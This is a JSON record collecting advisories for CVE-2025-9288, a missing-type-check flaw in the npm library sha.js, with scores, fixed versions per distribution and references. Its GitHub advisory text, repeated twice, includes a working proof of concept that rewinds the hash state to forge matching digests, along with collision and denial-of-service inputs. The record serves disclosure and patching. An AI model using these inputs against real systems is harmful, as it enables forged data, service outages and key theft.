{"id":"CVE-2025-9288","aliases":["AZL-66570","CLSA-2026-1792490356","DEBIAN-CVE-2025-9288","DLA-4302-1","DSA-6002-1","EUVD-2025-25403","GHSA-95m3-7q98-8xr5","ROOT-APP-NPM-CVE-2025-9288","UBUNTU-CVE-2025-9288","USN-7778-1"],"status":"published","title":"Missing type checks leading to hash rewind and passing on crafted data","description":"Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.","severity":{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00738,"percentile":0.54805,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20"],"published":"2025-08-20T21:59:44Z","modified":"2026-10-28T02:30:42Z","fixes":[{"ecosystem":"npm","package":"sha.js","fixed_in":["2.4.12"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"sha.js","fixed_in":["2.2.6-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"node-sha.js","fixed_in":["2.4.11+~2.4.0-2+deb12u1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"node-sha.js","fixed_in":["2.4.11+~2.4.0-2+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-sha.js","fixed_in":["2.4.12+~3.0.5-1"],"sources":["osv"]},{"ecosystem":"Debian:11","package":"node-sha.js","fixed_in":["2.4.11-2+deb11u1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/sha.js","fixed_in":["2.4.11-root.io.1","2.4.11-root.io.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"sha.js","fixed_in":["2.4.11-aikido.2"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"node-sha.js","fixed_in":["2.4.9-1ubuntu0.1~esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-sha.js","fixed_in":["2.4.11-2ubuntu0.1~esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:22.04:LTS","package":"node-sha.js","fixed_in":["2.4.11+~2.4.0-1ubuntu0.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"node-sha.js","fixed_in":["2.4.11+~2.4.0-2+deb13u1build0.24.04.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.4.11"},{"fixed":"2.4.12"}]}]},{"source":"osv","ecosystem":"Azure Linux:2","package":"reaper","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.1.1-22"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.6-tuxcare.0"},{"fixed":"2.2.6-tuxcare.1"}]}],"versions":["2.2.6"]},{"source":"osv","ecosystem":"Debian:12","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.11+~2.4.0-2+deb12u1"}]}],"versions":["2.4.11+~2.4.0-2"]},{"source":"osv","ecosystem":"Debian:13","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.11+~2.4.0-2+deb13u1"}]}],"versions":["2.4.11+~2.4.0-2"]},{"source":"osv","ecosystem":"Debian:14","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.12+~3.0.5-1"}]}],"versions":["2.4.11+~2.4.0-2"]},{"source":"osv","ecosystem":"Debian:11","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.11-2+deb11u1"}]}],"versions":["2.4.11-2"]},{"source":"osv","ecosystem":"Debian:12","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.11+~2.4.0-2+deb12u1"}]}],"versions":["2.4.11+~2.4.0-2"]},{"source":"osv","ecosystem":"Debian:13","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.11+~2.4.0-2+deb13u1"}]}],"versions":["2.4.11+~2.4.0-2"]},{"source":"osv","ecosystem":"npm","package":"sha.js","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.4.12"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.11-root.io.1"},{"fixed":"2.4.11-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.11-aikido.2"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.9-1ubuntu0.1~esm1"}]}],"versions":["2.4.8-1","2.4.9-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.11-2ubuntu0.1~esm1"}]}],"versions":["2.4.11-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.11+~2.4.0-1ubuntu0.1"}]}],"versions":["2.4.11-2","2.4.11+~2.4.0-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.11+~2.4.0-2+deb13u1build0.24.04.1"}]}],"versions":["2.4.11+~2.4.0-2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.9-1ubuntu0.1~esm1"}]}],"versions":["2.4.8-1","2.4.9-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.11-2ubuntu0.1~esm1"}]}],"versions":["2.4.11-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.11+~2.4.0-1ubuntu0.1"}]}],"versions":["2.4.11-2","2.4.11+~2.4.0-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-sha.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.11+~2.4.0-2+deb13u1build0.24.04.1"}]}],"versions":["2.4.11+~2.4.0-2"]}],"products":[{"vendor":"browserify","product":"sha.js"}],"references":[{"url":"https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5","tags":["vendor-advisory","exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/browserify/sha.js/pull/78","tags":["patch","Issue Tracking","Patch","fix","web","report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-9287","tags":["related","Third Party Advisory","web","report"]},{"url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9288","tags":["web","advisory"]},{"url":"https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5","tags":["web"]},{"url":"https://github.com/advisories/GHSA-95m3-7q98-8xr5"},{"url":"https://npmjs.com/sha.js","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/9xxx/CVE-2025-9288.json","tags":["advisory"]},{"url":"https://github.com/browserify/sha.js","tags":["package"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-9288","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-9288","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-9288","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-7778-1","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2025-9288","title":"Missing type checks leading to hash rewind and passing on crafted data","description":"Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.","status":"published","published":"2025-08-20T21:59:44.728Z","modified":"2025-11-03T18:14:17.994Z","cvss":[{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:32:33.755525Z"}],"euvd":[{"id":"EUVD-2025-25403","description":"Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.","status":"published","published":"2025-08-20T21:59:44Z","modified":"2025-11-03T18:14:17Z","cvss":[{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical"}],"updated_at":"2026-11-02T19:49:34.635725Z"}],"ghsa":[{"id":"GHSA-95m3-7q98-8xr5","title":"sha.js is missing type checks leading to hash rewind and passing on crafted data","description":"### Summary\n\nThis is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.\n\nMissing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst forgeHash = (data, payload) =\u003e JSON.stringify([payload, { length: -payload.length}, [...data]])\n\nconst sha = require('sha.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) =\u003e {\n  const hash = sha('sha256')\n  messages.forEach((m) =\u003e hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\nHashed input means safe\n```\n\nOr just:\n```console\n\u003e require('sha.js')('sha256').update('foo').digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n\u003e require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n```\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)","status":"published","published":"2025-08-21T14:47:55Z","modified":"2025-11-03T21:35:27Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"},{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:39:05.278442Z"}],"nvd":[{"id":"CVE-2025-9288","description":"Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.","status":"published","published":"2025-08-20T22:15:30.75Z","modified":"2026-06-17T10:08:40.82Z","cvss":[{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:11:25.261243Z"}],"osv":[{"id":"CVE-2025-9288","title":"Missing type checks leading to hash rewind and passing on crafted data","description":"Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.","status":"published","published":"2025-08-20T21:59:44.728Z","modified":"2026-10-28T02:30:42.481207802Z","cvss":[{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:44:53.490346Z"},{"id":"DEBIAN-CVE-2025-9288","description":"Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.","status":"published","published":"2025-08-20T22:15:30.75Z","modified":"2026-09-01T20:05:59.368984316Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:45:48.440897Z"},{"id":"GHSA-95m3-7q98-8xr5","title":"sha.js is missing type checks leading to hash rewind and passing on crafted data","description":"### Summary\n\nThis is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.\n\nMissing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst forgeHash = (data, payload) =\u003e JSON.stringify([payload, { length: -payload.length}, [...data]])\n\nconst sha = require('sha.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) =\u003e {\n  const hash = sha('sha256')\n  messages.forEach((m) =\u003e hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\nHashed input means safe\n```\n\nOr just:\n```console\n\u003e require('sha.js')('sha256').update('foo').digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n\u003e require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n```\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)","status":"published","published":"2025-08-21T14:47:55Z","modified":"2026-09-10T03:50:26.795456685Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"},{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:46:43.123867Z"},{"id":"UBUNTU-CVE-2025-9288","description":"Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.","status":"published","published":"2025-08-20T22:15:00Z","modified":"2026-02-04T03:34:24.946861Z","cvss":[{"version":"4.0","score":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","level":"critical"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T16:55:55.926217Z"},{"id":"AZL-66570","title":"CVE-2025-9288 affecting package reaper 3.1.1-22","description":"Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.","status":"published","published":"2025-08-20T22:15:30Z","modified":"2026-04-21T04:37:55.05845Z","updated_at":"2026-11-02T15:28:08.354547Z"},{"id":"CLSA-2026-1792490356","title":"TuxCare security update for sha.js (1 CVE)","description":"TuxCare rebuilt sha.js to address 1 CVE. Fixed in 2.2.6-tuxcare.1.","status":"published","published":"2026-10-20T09:59:16Z","modified":"2026-10-20T13:45:13.360943999Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"DLA-4302-1","title":"node-sha.js - security update","status":"published","published":"2025-09-16T00:00:00Z","modified":"2026-03-09T02:11:22.858197Z","updated_at":"2026-11-02T15:46:12.7027Z"},{"id":"DSA-6002-1","title":"node-sha.js - security update","status":"published","published":"2025-09-16T00:00:00Z","modified":"2026-03-09T02:09:21.414436Z","updated_at":"2026-11-02T15:46:18.296714Z"},{"id":"ROOT-APP-NPM-CVE-2025-9288","title":"CVE-2025-9288 in @rootio/sha.js - Patched by Root","description":"Root has patched CVE-2025-9288 in the @rootio/sha.js package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-06-04T20:56:48Z","modified":"2026-06-05T01:30:36.554333131Z","updated_at":"2026-11-02T15:53:27.362922Z"},{"id":"USN-7778-1","title":"node-sha.js vulnerability","description":"Nikita Skovoroda discovered that sha.js did not properly handle\ncertain inputs. An attacker could possibly use this issue to manipulate\nthe internal state of hash functions, resulting in hash collisions,\ndenial of service, or other unspecified impact.","status":"published","published":"2025-09-25T19:48:43Z","modified":"2026-02-10T04:50:09Z","updated_at":"2026-11-02T16:58:21.91885Z"}]}}
